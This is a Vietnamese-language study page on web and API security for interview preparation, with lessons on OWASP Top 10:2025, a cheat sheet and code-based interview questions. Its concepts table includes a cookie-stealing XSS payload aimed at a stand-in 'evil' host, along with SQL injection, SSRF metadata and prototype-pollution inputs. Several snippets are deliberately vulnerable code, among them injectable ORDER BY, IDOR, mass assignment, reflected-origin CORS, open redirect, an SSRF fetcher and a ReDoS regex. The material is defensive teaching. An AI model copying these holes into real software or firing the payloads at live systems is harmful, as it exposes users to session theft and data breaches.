Skip to content
DevRecall
← Roadmap
22

Web & API Security

drafted

OWASP Top 10:2025, XSS/CSRF/SQLi/SSRF, IDOR/BOLA, CSP, CORS, secrets, password hashing, supply chain, API security checklist.

0/64 rated · mastery 0%

Bài học

12 bài · ~129 phút đọc. Học theo thứ tự, rồi làm câu hỏi.
  1. 01~16 phút· 5 câuverify

    Tư duy bảo mật, threat modeling và OWASP Top 10

    Mọi input đều không đáng tin, trust boundary, least privilege và defense in depth với ví dụ Postgres thật, threat model một flow checkout bằng STRIDE, OWASP Top 10:2025 và API Security Top 10:2023, và cách đưa security tooling vào team mà không chìm trong false positive.

  2. 02~11 phút· 4 câuverify

    Same-Origin Policy, origin vs site và CORS

    SOP chặn đọc chứ không chặn gửi, origin khác site thế nào, simple request vs preflight, Access-Control-Allow-Credentials và Vary: Origin, và đo thật trong Chrome 154 vì sao reflect Origin + credentials cho bất kỳ website nào đọc dữ liệu của user.

  3. 03~12 phút· 5 câuverify

    CSRF, cookie attributes và SameSite

    Vì sao cookie tự gửi tạo ra CSRF, SameSite Strict/Lax/None và giới hạn của nó, HttpOnly/Secure/__Host- đo thật trong Chrome, so sánh synchronizer token, signed double-submit, Origin/Fetch Metadata và custom header, login CSRF, session fixation và xác thực Socket.IO chống Cross-Site WebSocket Hijacking.

  4. 04~10 phút· 5 câuverify

    XSS: stored, reflected, DOM và output encoding theo context

    Ba loại XSS và vì sao HttpOnly không cứu, output encoding theo context là biện pháp chính, React vẫn dính XSS ở đâu (dangerouslySetInnerHTML, javascript: URL, JSON nhúng vào <script>), sanitize rich text bằng DOMPurify đo thật, mutation XSS, và xử lý stored XSS trong admin panel.

  5. 05~11 phút· 5 câuverify

    CSP, security headers, clickjacking và HSTS

    Strict CSP với nonce và strict-dynamic đo thật trong Chrome 154 (chặn inline, cho strict-dynamic load script con), bypass allowlist qua JSONP và thiếu base-uri, Trusted Types chặn DOM XSS, frame-ancestors chống clickjacking, HSTS và TLS bảo đảm gì, và bộ header helmet đặt mặc định.

  6. 06~9 phút· 5 câuverify

    Injection: SQL, NoSQL, search query và prototype pollution

    Vì sao parameterized query tách code khỏi data chứ không phải escaping, identifier (ORDER BY) phải allowlist, một endpoint 'đã parameterized' vẫn injectable, NoSQL operator injection, query_string trong Elasticsearch, và prototype pollution trong Node — đo thật trên Postgres 17.

  7. 07~11 phút· 9 câuverify

    Broken Access Control: IDOR/BOLA, BFLA, mass assignment và tenant isolation

    Lỗi số một của OWASP: object-level authorization (IDOR/BOLA), function-level (BFLA), mass assignment (BOPLA), deny-by-default với route registry test, RLS trên Postgres 17 làm lớp cuối (kèm bẫy pooled connection), coupon race atomic, và xử lý sự cố rò dữ liệu giữa tenant — tất cả đo thật.

  8. 08~8 phút· 4 câuverify

    SSRF, open redirect và file upload

    Server bị lừa gọi URL nội bộ/cloud metadata, vì sao validate hostname string là chưa đủ (IP dạng thập phân/hex, IPv4-mapped IPv6, DNS rebinding), fetcher an toàn pin IP đã resolve, open redirect sau login với startsWith('/') bị bypass, và kiểm soát file upload bằng magic bytes — đo thật.

  9. 09~11 phút· 7 câuverify

    Password hashing, brute force, credential stuffing và rate limit

    Vì sao SHA-256 không được dùng cho password, tham số argon2id/bcrypt/scrypt/PBKDF2 đo thật trên M1, bẫy 72 byte của bcrypt, rehash khi login, rate limit nhiều chiều và cái bẫy trust proxy sau ALB (đo thật), xử lý credential stuffing lúc 2 giờ sáng, MFA vs conversion, và OAuth account linking an toàn.

  10. 10~11 phút· 7 câuverify

    Hashing, encryption, envelope encryption và secrets management

    Encoding vs hashing vs HMAC vs encryption, AES-256-GCM với AAD và vì sao IV không được lặp (đo thật khôi phục plaintext), envelope encryption KEK/DEK và key rotation, blind index để tra cứu dữ liệu mã hoá, secrets manager/OIDC/IRSA thay env file, và vì sao xoá .env khỏi commit không giải quyết gì (đo thật git history).

  11. 11~10 phút· 5 câuverify

    API hardening: resource consumption, webhook, timing và fail-safe

    ReDoS làm nghẽn event loop (đo thật backtracking mũ), các giới hạn tài nguyên khác, webhook HMAC + timestamp + dedupe chống replay (đo thật trên Postgres), timingSafeEqual và user enumeration, fail-open vs fail-closed (A10:2025) với middleware authz/rate-limit thật, và checklist bảo mật cho API public cho đối tác.

  12. 12~9 phút· 4 câuverify

    Supply chain, security logging và incident response

    Tấn công supply chain trên npm (typosquat, maintainer takeover, install scripts, dependency confusion), kiểm soát bằng lockfile/npm ci/allowScripts/provenance/pin SHA (đo thật), logging có ích cho điều tra mà không lộ PII với pino redact và chống log injection (đo thật), và cách kể một sự cố bảo mật trong phỏng vấn.

Tóm tắt & cheat sheet của track

TL;DR

  • Lỗi bảo mật phổ biến nhất ở backend hiện đại không phải SQL injection mà là Broken Access Control (IDOR/BOLA, thiếu check tenant) — đứng #1 cả OWASP Top 10:2021 lẫn 2025, và API1 trong OWASP API Security Top 10:2023.
  • Tư duy đúng: mọi input không đáng tin (body, header, cookie, JWT claim chưa verify, file, URL, webhook), mọi output phải encode theo context, mọi resource phải check quyền ở object level.
  • Browser security là các cơ chế riêng rẽ, dễ nhầm: SOP (chặn đọc cross-origin), CORS (nới SOP có kiểm soát — không bảo vệ server), CSRF (lợi dụng credential tự gửi kèm), CSP (giới hạn script được chạy — lớp phòng thủ thứ hai cho XSS).
  • Defense in depth: validation → parameterized query → authorization → rate limit → logging/alerting → secrets & crypto đúng → supply chain.
  • Senior interview hỏi tình huống: key bị lộ, credential stuffing, tenant thấy dữ liệu tenant khác — bạn làm gì trong 1 giờ đầu?

Khái niệm cốt lõi

Khái niệmMột câuVí dụ ngắn
XSSAttacker chèn script chạy trong origin của bạn<img src=x onerror=fetch('//evil/?c='+document.cookie)> trong comment
CSRFSite khác khiến browser nạn nhân gửi request kèm cookieForm auto-submit POST /transfer từ evil.com
SQL injectionInput trở thành một phần của câu SQL' OR 1=1 -- trong WHERE email = '${email}'
SSRFServer bị lừa gọi URL do attacker chọnWebhook URL = http://169.254.169.254/latest/meta-data/
IDOR / BOLATruy cập object của người khác bằng cách đổi IDGET /orders/1043 trả đơn của user khác
Mass assignmentBind toàn bộ body vào model{ "role": "admin" } trong PATCH /me
CSPHeader khai báo nguồn script/style được phépscript-src 'nonce-r4nd0m' 'strict-dynamic'
CORSServer cho phép origin khác đọc responseAccess-Control-Allow-Origin: https://app.example.com
Password hashingHàm chậm, có salt, chống brute forceargon2id (m=19 MiB, t=2, p=1 theo OWASP)
Envelope encryptionData key mã hoá dữ liệu, master key (KMS) mã hoá data keyAWS KMS GenerateDataKey

Cơ chế hoạt động

Request đi qua các lớp phòng thủ của một API

OWASP Top 10:2025 (so với 2021)

2025Ghi chú
A01 Broken Access ControlVẫn #1; SSRF được gộp vào đây
A02 Security MisconfigurationLên từ #5
A03 Software Supply Chain FailuresMở rộng từ "Vulnerable and Outdated Components"
A04 Cryptographic FailuresXuống từ #2
A05 InjectionGồm cả XSS
A06 Insecure Design
A07 Authentication Failures
A08 Software or Data Integrity Failures
A09 Security Logging and Alerting FailuresĐổi tên, nhấn mạnh alerting
A10 Mishandling of Exceptional ConditionsMới: fail-open, lỗi xử lý exception

Trade-offs

Quyết địnhLựa chọn ALựa chọn BGhi chú
Token ở browserHttpOnly cookie (cần chống CSRF)Authorization header từ JS memory (cần chống XSS)BFF + cookie thường an toàn nhất cho SPA
CSPStrict (nonce + strict-dynamic)Allowlist domainAllowlist dễ bị bypass qua JSONP/CDN chung
Sanitize HTMLServer-side (DOMPurify/jsdom, sanitize-html)Client-side khi renderLàm cả hai nếu lưu rich text; encode vẫn là mặc định
Rate limit khi hạ tầng lỗiFail-openFail-closedLogin/OTP → closed; read API → open + alert
Password hashargon2idbcryptbcrypt vẫn chấp nhận được; chú ý giới hạn 72 byte
SecretsEnv var inject lúc runtimeSecrets manager + short-lived credsKhông bao giờ trong git/image

Pitfalls

  • Check quyền ở route (requireRole('admin')) nhưng không check object thuộc về ai/tenant nào.
  • cors({ origin: true, credentials: true }) = mọi site đọc được API bằng cookie của user.
  • Tin X-Forwarded-For/X-Tenant-Id từ client; app.set('trust proxy', true) sai chỗ.
  • dangerouslySetInnerHTML, href={userUrl} (javascript:), nhúng JSON vào <script> khi SSR mà không escape </script>.
  • Log nguyên req.body/header → lộ password, token, PII vào log hệ thống.
  • Hash password bằng SHA-256/MD5 (nhanh = dễ brute force); so sánh token bằng === (timing).
  • Validate bằng denylist ("chặn <script>") thay vì allowlist schema + output encoding.
  • npm install package mới không xem maintainer/postinstall; không commit lockfile.

Cheat sheet

  • Headers: Strict-Transport-Security, Content-Security-Policy, X-Content-Type-Options: nosniff, Referrer-Policy: strict-origin-when-cross-origin, frame-ancestors (thay X-Frame-Options), Permissions-Policy; bỏ X-XSS-Protection (deprecated).
  • Cookie session: HttpOnly; Secure; SameSite=Lax; Path=/ + prefix __Host-.
  • SQL: luôn parameterized; identifier (cột ORDER BY) → allowlist.
  • AuthZ: deny by default, check object + tenant ở service layer, test cross-tenant.
  • SSRF: allowlist host, resolve DNS rồi chặn private/link-local/metadata IP, không follow redirect mù, IMDSv2.
  • Password: argon2id/bcrypt/scrypt, salt tự sinh, rate limit + breached-password check, MFA.
  • Supply chain: lockfile, npm ci, review dependency mới, pin action theo SHA, provenance/SBOM, tắt install scripts khi có thể.
  • Log: structured, redact, correlation id; alert trên pattern tấn công.

Personal notes (Notion)

Ghi chú cá nhân — có thể sai hoặc lỗi thời, dùng để tham khảo.

Interview Questions

Showing 64 / 64

// Vulnerable
await db.query(`SELECT * FROM users WHERE email = '${email}'`);
// Safe
await db.query('SELECT * FROM users WHERE email = $1', [email]);
<a href={profile.website}>Website</a>           // javascript: URL runs on click
<div dangerouslySetInnerHTML={{ __html: review.body }} /> // stored XSS
Content-Security-Policy:
  script-src 'nonce-9f2c1a7e' 'strict-dynamic' https: 'unsafe-inline';
  object-src 'none'; base-uri 'none'; frame-ancestors 'none';
# 'unsafe-inline' and https: are ignored by CSP3 browsers when a nonce/strict-dynamic is present;
# they only serve as fallbacks for very old browsers.
const UpdateProfile = z.object({ displayName: z.string().max(80), phone: z.string().optional() }).strict();
app.patch('/me', async (req, res) => {
  const input = UpdateProfile.parse(req.body);           // rejects { role: 'admin' }
  res.json(toProfileDto(await users.update(req.user.id, input)));
});
import pino from 'pino';
const logger = pino({
  redact: { paths: ['req.headers.authorization', 'req.headers.cookie', '*.password', '*.token', '*.cardNumber'], censor: '[REDACTED]' },
});
Set-Cookie: __Host-sid=4f1c...; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=28800
app.get('/products', async (req, res) => {
  const { q, sort = 'created_at', dir = 'desc' } = req.query as Record<string, string>;
  const rows = await knex.raw(
    `SELECT id, name, price FROM products
     WHERE tenant_id = ? AND name ILIKE ?
     ORDER BY ${sort} ${dir} LIMIT 50`,
    [req.tenantId, `%${q}%`],
  );
  res.json(rows.rows);
});
router.get('/api/orders/:id', requireAuth, async (req, res) => {
  const order = await prisma.order.findUnique({ where: { id: req.params.id }, include: { address: true } });
  if (!order) return res.status(404).end();
  res.json(order);
});
app.patch('/api/users/me', requireAuth, async (req, res) => {
  const user = await prisma.user.update({
    where: { id: req.user.id },
    data: req.body,           // { "displayName": "Bob", "role": "ADMIN", "tenantId": "other" }
  });
  res.json(user);             // includes passwordHash, mfaSecret
});
app.use(cors({
  origin: (origin, cb) => cb(null, origin),   // reflect any origin
  credentials: true,
}));
// session is a cookie with SameSite=None; Secure
app.get('/login/callback', async (req, res) => {
  await completeLogin(req, res);
  const next = String(req.query.next ?? '/');
  if (next.startsWith('/')) return res.redirect(next);
  res.redirect('/');
});
app.post('/api/link-preview', requireAuth, async (req, res) => {
  const { url } = req.body;
  if (!/^https?:\/\//.test(url)) return res.status(400).end();
  const r = await fetch(url, { redirect: 'follow' });
  const html = await r.text();
  res.json({ title: extractTitle(html), raw: html.slice(0, 2000) });
});
function merge(target: any, src: any) {
  for (const key in src) {
    if (typeof src[key] === 'object' && src[key] !== null) {
      target[key] ??= {};
      merge(target[key], src[key]);
    } else target[key] = src[key];
  }
  return target;
}
app.patch('/prefs', (req, res) => { merge(req.user.prefs, req.body); res.sendStatus(204); });
// body: {"__proto__": {"isAdmin": true}}
const slow = /^(\w+\s?)*$/;
slow.test('a'.repeat(30) + '!'); // exponential backtracking, event loop blocked
import { createHmac, timingSafeEqual } from 'node:crypto';
function verifySignature(body: string, header: string, secret: string) {
  const expected = createHmac('sha256', secret).update(body).digest();
  const given = Buffer.from(header, 'hex');
  return given.length === expected.length && timingSafeEqual(given, expected);
}
app.set('trust proxy', true); // trusts client-supplied X-Forwarded-For
// curl -H 'X-Forwarded-For: 1.2.3.4' ... -> new rate-limit bucket every time